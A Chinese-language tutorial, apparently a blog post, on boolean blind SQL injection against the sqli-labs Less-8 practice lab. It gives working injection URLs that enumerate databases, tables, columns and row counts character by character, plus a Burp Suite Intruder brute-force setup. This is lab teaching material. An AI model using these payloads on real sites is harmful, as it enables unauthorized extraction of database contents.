Abstract: SQL 盲注总结,目标站点是 sqli-labs 中的 Less-8

Table of Contents

  1. 找注入点
  2. 判断类型
  3. 判断数据库个数
  4. 判断各数据库名的长度
  5. 判断数据库名
  6. 判断当前数据库中表的个数
  7. 判断当前数据库中各个表名的长度
  8. 判断当前数据库中表名
  9. 查看 users 表中字段个数
  10. 判断 users 表中第一个字段长度
  11. 判断第一个字段
  12. 判断users 表行数
  13. 总结 SQL 盲注流程
  14. 用burpsuite判断

找注入点

拿到一个目标站点首先找到注入点,Less-8 注入点为 ?id=1

判断类型

发现输入 id=1' 后页面的 You are in ... 消失了,没有报错信息。

1
http://192.168.100.52/sqli-labs/Less-8/?id=1'

再次输入

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' --+

页面正常显示,所以该注入点为字符型注入,由于页面不显示错误信息,所以使用盲注的方法。

判断数据库个数

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>4 --+

发现 >4正常显示,>5不正常,故可知数据库个数为 5。

判断各数据库名的长度

先判断第一个数据库名的长度

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))>17 --+

可得第一个库的长度为 18 。

判断数据库名

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select schema_name from information_schema.schemata limit 0, 1), 1, 1)) >104 --+

可得第一个字符为 i

继续往下做判断

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select schema_name from information_schema.schemata limit 0, 1), 1, 1)) >109 --+

可得第二个字符是 n

可以以此判断出数据库中各个库名。

判断当前数据库中表的个数

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

判断当前数据库中各个表名的长度

先判断第一个表名长度

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 --+

判断当前数据库中表名

判断第一个表名

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1)) >100 --+

字符为 e ,继续判断可以得出该表名为 emails

查看 users 表中字段个数

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 2 --+

个数为 3 。

判断 users 表中第一个字段长度

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 1 --+

第一个字段长度为 2 。

判断第一个字段

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0, 1), 1, 1)) >104 --+

不难判断出第一个字段为 id

判断users 表行数

1
http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(*) from security.users) >13 --+

可以查看 users表中的内容。

总结 SQL 盲注流程

  1. 先找注入点
  2. 判断类型
    1. 字符型?整型?
    2. 盲注还是 UNION SELECT
  3. 先查一共有几个数据库
  4. 再查各个数据库长度,为判断库名做准备
  5. 依次判断出数据库的名称,找到自己想要查询的库
  6. 先查库中有几个表
  7. 查各个表的长度
  8. 依次判断出各个表名
  9. 查表中有几个字段
  10. 查各个字段长度
  11. 依次判断字段名
  12. 判断出想要字段的数据

用burpsuite判断

把要做判断的 url 发送到 Intruder

点击 Clear $ ,在 =%27i%27 中字母 i 两边加上 $ ,然后点击 Payloads,在 Payload type 选择 Brute forcerMin length 选择 1Max length 选择 1

然后点击 Start attack

继续改变位置可查出库名,同理表名,字段名也可以查出。